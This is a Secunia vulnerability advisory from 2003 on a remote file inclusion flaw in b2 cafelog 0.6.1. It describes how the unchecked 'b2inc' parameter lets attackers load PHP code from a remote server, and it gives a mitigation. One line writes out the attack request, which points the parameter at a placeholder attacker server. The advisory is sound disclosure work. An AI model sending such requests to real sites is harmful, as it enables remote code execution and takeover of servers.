Secunia Logo
 
b2 cafelog Execution of Arbitrary Code
Secunia Advisory: SA8894
Release Date: 2003-05-30
Popularity: 4,569 views

Critical:
Highly critical
Impact: System access
Where: From remote
Solution Status: Unpatched

Software:Wordpress 0.x (b2 cafelog)

Subscribe: Instant alerts on relevant vulnerabilities


Description:
A vulnerability has been identified in b2 cafelog allowing malicious people to execute arbitrary PHP code on the web server.

The problem is that the "b2inc" parameter isn't verfied in the "blogger-2-b2.php" script.

By requesting "blogger-2-b2.php?b2inc=http://[evil_server]", it is possible to include a malicious "b2functions.php" and "b2vars.php" PHP script from "http://[evil_server]".

A similar issue exists in "gm-2-b2.php" in the "b2inc" parameter.

This has been reported in version 0.6.1

Solution:
Edit the source code to verify input or restrict access to the scripts using .htaccess or similar.

Provided and/or discovered by:
pokleyzz


Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. ClamAV "cli_check_jpeg_exploit()" Denial of Service Vulnerability // 56 views
2. Linksys WRT160N Cross-Site Scripting Vulnerability // 49 views
3. IBM Rational ClearCase Cross-Site Scripting Vulnerability // 48 views
4. IBM Rational ClearQuest Multiple Vulnerabilities // 41 views
5. Mozilla Firefox 3 Multiple Vulnerabilities // 41 views
6. Sun Java JDK / JRE Multiple Vulnerabilities // 40 views
7. DAHDI "ZT_SPANCONFIG" IOCTL Privilege Escalation Vulnerability // 39 views
8. Rumpus Multiple Vulnerabilities // 38 views
9. bcoos "cid" SQL Injection Vulnerability // 38 views
10. Debian update for flamethrower // 38 views